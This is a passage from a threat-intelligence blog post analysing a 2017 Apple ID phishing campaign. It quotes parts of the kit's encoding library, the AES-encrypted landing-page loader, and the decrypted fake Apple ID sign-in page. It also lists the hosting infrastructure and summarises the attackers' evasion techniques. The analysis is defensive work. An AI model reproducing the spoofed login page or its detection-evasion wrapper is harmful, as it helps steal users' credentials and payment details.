        o1 = plain.charCodeAt(c);
        o2 = plain.charCodeAt(c + 1);
        o3 = plain.charCodeAt(c + 2);
        bits = o1 << 16 | o2 << 8 | o3;
        h1 = bits >> 18 & 0x3f;
        h2 = bits >> 12 & 0x3f;
        h3 = bits >> 6 & 0x3f;
        h4 = bits & 0x3f;
        e[c / 3] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4);
    coded = e.join('');
    coded = coded.slice(0, coded.length - pad.length) + pad;
    return coded;
Base64.decode = function(str, utf8decode) {
    utf8decode = (typeof utf8decode == 'undefined') ? false : utf8decode;
    var o1, o2, o3, h1, h2, h3, h4, bits, d = [],
        plain, coded;
    var b64 = Base64.code;
    coded = utf8decode ? str.decodeUTF8() : str;
    for (var c = 0; c < coded.length; c += 4) {
        h1 = b64.indexOf(coded.charAt(c));
        h2 = b64.indexOf(coded.charAt(c + 1));
        h3 = b64.indexOf(coded.charAt(c + 2));
        h4 = b64.indexOf(coded.charAt(c + 3));
        bits = h1 << 18 | h2 << 12 | h3 << 6 | h4;
        o1 = bits >>> 16 & 0xff;
        o2 = bits >>> 8 & 0xff;
        o3 = bits & 0xff;
        d[c / 4] = String.fromCharCode(o1, o2, o3);
        if (h4 == 0x40) d[c / 4] = String.fromCharCode(o1, o2);
        if (h3 == 0x40) d[c / 4] = String.fromCharCode(o1);
    plain = d.join('');
    return utf8decode ? plain.decodeUTF8() : plain;
var Utf8 = {};
Utf8.encode = function(strUni) {
    var strUtf = strUni.replace(/[\u0080-\u07ff]/g, function(c) {
        var cc = c.charCodeAt(0);
        return String.fromCharCode(0xc0 | cc >> 6, 0x80 | cc & 0x3f);
    strUtf = strUtf.replace(/[\u0800-\uffff]/g, function(c) {
        var cc = c.charCodeAt(0);
        return String.fromCharCode(0xe0 | cc >> 12, 0x80 | cc >> 6 & 0x3F, 0x80 | cc & 0x3f);
    return strUtf;
Utf8.decode = function(strUtf) {
    var strUni = strUtf.replace(/[\u00e0-\u00ef][\u0080-\u00bf][\u0080-\u00bf]/g, function(c) {
        var cc = ((c.charCodeAt(0) & 0x0f) << 12) | ((c.charCodeAt(1) & 0x3f) << 6) | (c.charCodeAt(2) & 0x3f);
        return String.fromCharCode(cc);
    strUni = strUni.replace(/[\u00c0-\u00df][\u0080-\u00bf]/g, function(c) {
        var cc = (c.charCodeAt(0) & 0x1f) << 6 | c.charCodeAt(1) & 0x3f;
        return String.fromCharCode(cc);
    return strUni;

Moving back to the JavaScript code of the landing page, the whole content looks like the JavaScript snippet you see below. Basically the large omitted blob is a Base64 encoded ciphertext which is encrypted with AES-256 using “gentot” variable’s content as its password. Once this is decoded it is stored in variable “keluaran” (which means “output” in Indonesian), and then the content of this variable is parsed as the landing page.

<html><head><script src='assets/js/enc.js'></script><script>
var gentot = ('0123456789ABCDEFGHIJKLMNOPQRSTUVXYZabcdefghijklmnopqrstuvxyz'); 
var udud = 'eQPRN3...
var keluaran = Aes.Ctr.decrypt(udud, gentot, 256);

If we reverse engineer the malicious payload we will end up with the HTML code you see below. An interesting tactic that we observe here is that all static content was being stored locally. Meaning that phising beacons would not trigger an alert to Apple for this phising page. But let’s move on…

<!DOCTYPE html>
	<meta content="text/html; charset=utf-8" http-equiv="Content-Type">
	<meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
	<title>Manage your Apple ID</title>
	<link href="assets/img/favicon.ico" rel="shortcut icon" type="image/x-icon">
	<link href="assets/css/First.css" media="all" rel="stylesheet" type="text/css">
	<link href="assets/css/Second.css" rel="stylesheet" type="text/css">
	<link href="assets/css/Fonts.css" rel="stylesheet" type="text/css">
<body id="pagecontent">
	<div id="content">
		<div class="bdd45">
			<nav class="js no-touch svg no-ie7 no-ie8" id="xdsfv54">
				<div class="HeaderObjHolder">
					<ul class="MobHeader">
						<li class="HeaderObj MobMenIconH"><label class="MobMenHol"><span class="MobMenIcon MobMenIcon-top"><span class="MobMenIcon-crust MobMenIcon-crust-top"></span></span> <span class="MobMenIcon MobMenIcon-bottom"><span class="MobMenIcon-crust MobMenIcon-crust-bottom"></span></span></label></li>
						<li class="HeaderObj">
							<a class="Item1" href="#" id="ac-gn-firstfocus-small" style="display: inline-block;margin-left:50%;margin-top:11px"><span class="ac-gn-link-text">&nbsp;</span></a> <a class="Item10" href="#" style="display: inline-block;float:right;margin-top:11px"><span class="ac-gn-link-text">&nbsp;</span> <span class="ac-gn-bag-badge"></span></a> <span class="ac-gn-bagview-caret ac-gn-bagview-caret-large"></span>
					<ul class="HeaderObjList">
						<li class="HeaderObj HeaderItem">
							<a class="HeaderLink Item1" href="#"></a>
						<li class="HeaderObj HeaderItem">
							<a class="HeaderLink Item2" href="#"></a>
						<li class="HeaderObj HeaderItem">
							<a class="HeaderLink Item3" href="#"></a>
						<li class="HeaderObj HeaderItem">
							<a class="HeaderLink Item4" href="#"></a>
						<li class="HeaderObj HeaderItem">
							<a class="HeaderLink Item5" href="#"></a>
						<li class="HeaderObj HeaderItem">
							<a class="HeaderLink Item6" href="#"></a>
						<li class="HeaderObj HeaderItem">
							<a class="HeaderLink Item7" href="#"></a>
						<li class="HeaderObj HeaderItem">
							<a class="HeaderLink Item8" href="#"></a>
						<li class="HeaderObj HeaderItem">
							<a class="HeaderLink Item9" href="#"></a>
						<li class="HeaderObj HeaderItem">
							<a class="HeaderLink Item10" href="#"></a>
			<div class="subnav">
				<div class="container">
					<div class="title pull-left">
					<div class="menu-wrapper pull-right">
						<ul class="menu">
							<li class="item active">
								<a class="btn btn-link btn-signin" href="#">Sign In</a>
							<li class="item">
								<a class="btn btn-link btn-create" href="#">Create Your Apple&nbsp;ID</a>
							<li class="item">
								<a class="btn btn-link btn-faq" href="#">FAQ</a>
			<div class="paws signin">
				<h1 class="LoginTitle">Apple&nbsp;ID</h1>
				<div class="LoginIframe" id="auth-container" style="position: relative;">
					<iframe frameborder="0" height="100%" id="login" name="login" scrolling="no" src="assets/signin.php" width="100%"></iframe>
			<div id="flow">
				<div class="flow-body signin clearfix" role="main">
					<div class="container">
						<div class="forgot" id="forgot-link">
							<a href="#">Forgot Apple&nbsp;ID or password?</a>
						<div class="flex home-content">
							<h2 class="title separator" id="Title">Your account for&nbsp;everything&nbsp;Apple.</h2>
							<div class="intro" id="TitleMsg">
								A single Apple&nbsp;ID and password gives you access to all Apple services.
							<div class="intro" id="LearnMore">
								<a class="button faq-link" href="#">Learn more about Apple&nbsp;ID&nbsp;<i class="icon Righty"></i></a>
							<div class="apps text-center" id="AppIconsWrapper"><img class="ApplicationIcons" height="68" src="assets/img/icons.jpg" width="656"></div>
							<div class="intro create show" id="CreateAccount">
								<a class="button create-link" href="#">Create your Apple&nbsp;ID<i class="icon Righty"></i></a>
				<div class="container">
					<div class="footer">
						<div class="footer-wrap">
							<div class="FooterLine1">
								<div class="line-level">
									Shop the <a href="#">Apple Online Store</a> (0800 048 0408), visit an <a href="#">Apple Retail Store</a>, or find a <a href="#">reseller</a>.
							<div class="FooterLine2">
								<ul class="menu">
									<li class="item">
										<a href="#">Apple Info</a>
									<li class="item">
										<a href="#">Site Map</a>
									<li class="item">
										<a href="#">Hot News</a>
									<li class="item">
										<a href="#">RSS Feeds</a>
									<li class="item">
										<a href="#">Contact Us</a>
									<li class="item">
										<a class="choose" href="#"><img height="22" src="assets/img/us.png" width="22"></a>
							<div class="FooterLine3">
								Copyright © 2017 Apple Inc. All rights reserved.
								<ul class="menu">
									<li class="item">
										<a href="#">Terms of Use</a>
									<li class="item">
										<a href="#">Privacy Policy</a>

Now that we have a basic understanding of how that page behaves and what is the goal (credit card details of Apple ID accounts), we can investigate what we can find about the server that was hosting it. Below is a basic information gathering from open-source utilities.

Hostname        : termscondition.com
Hostname        : appleid.termscondition.com
Hostname        : mail.wavestrend.com
Hostname        : wavestrends.com
Hostname        : wavestrend.com
Hostname        : mail.wavestrend.com
Hostname        : www.wavestrend.com
Hostname        : id-vikingkntl.com
Hostname        : id-policy.com
Hostname        : apple.id-policy.com
Hostname        : ftp.wavestrends.com
IPv4 address    :
Hosting provider: WebsiteWelcome.com
Web server      : Apache httpd (80/tcp & 443/tcp with wavestrends.com TLS certificate)
FTP server      : Pure-FTPd (21/tcp)
SSH server      : OpenSSH 5.3 (22/tcp)
SSH fingerprint : ccb991392a25ed41713836e4ed4df3476cc39c0761788a58e8d26b01eb421cf0
DNS server      : (53/udp)
POP3 server     : Dovecot (110/tcp with wavestrends.com TLS certificate)
IMAP server     : Dovecot (143/tcp with wavestrends.com TLS certificate)
IMAPS server    : Dovecot (993/tcp with wavestrends.com TLS certificate)

The above leads again to a small hosting provider (websitewelcome.com) which seems to be hosting mostly malware and phising websites. A simple Google search will help you see this on your own. The above can be used to start monitoring the threat actors behind this campaign but we are not going to go that far and start digging more into it. We already have a basic understanding of the tactics, techniques, and procedures (TTPs) behind this AppleID phising campaign. So, to summarize…

TTPs of the AppleID phising campaign
There are few unique TTPs in this phising attack that can be used to attribute this phising campaign to certain threat actors. Below is a summary of those.

  • Threat actor used small VPS hosting providers (with multiple prior cases of malicious content hosting) for both the phising emails delivery and the hosting of the phising website
  • The phising email delivery was done via SendGrid using PHPMailer open-source project.
  • The threat actor exploited an open-redirect vulnerability on a legitimate website as a secondary anti-detection method.
  • The same encryption JavaScript library (enc.js) is being used to evade phising detection mechanisms at least since 2015.
  • All of the content of the phising website was encoded (Base64) and encrypted (AES-256) to evade phising detection.
  • The static content of the page (images, javascript, etc.) were hosted locally to avoid common phising beacon-based detection.
  • The malicious code utilized jQuery to collect the sensitive information.
  • The main targets of this threat actor are websites that provide access to payment details or credit card information such as banks, eBay, Apple, Google, etc.

Written by xorl

November 25, 2017 at 11:49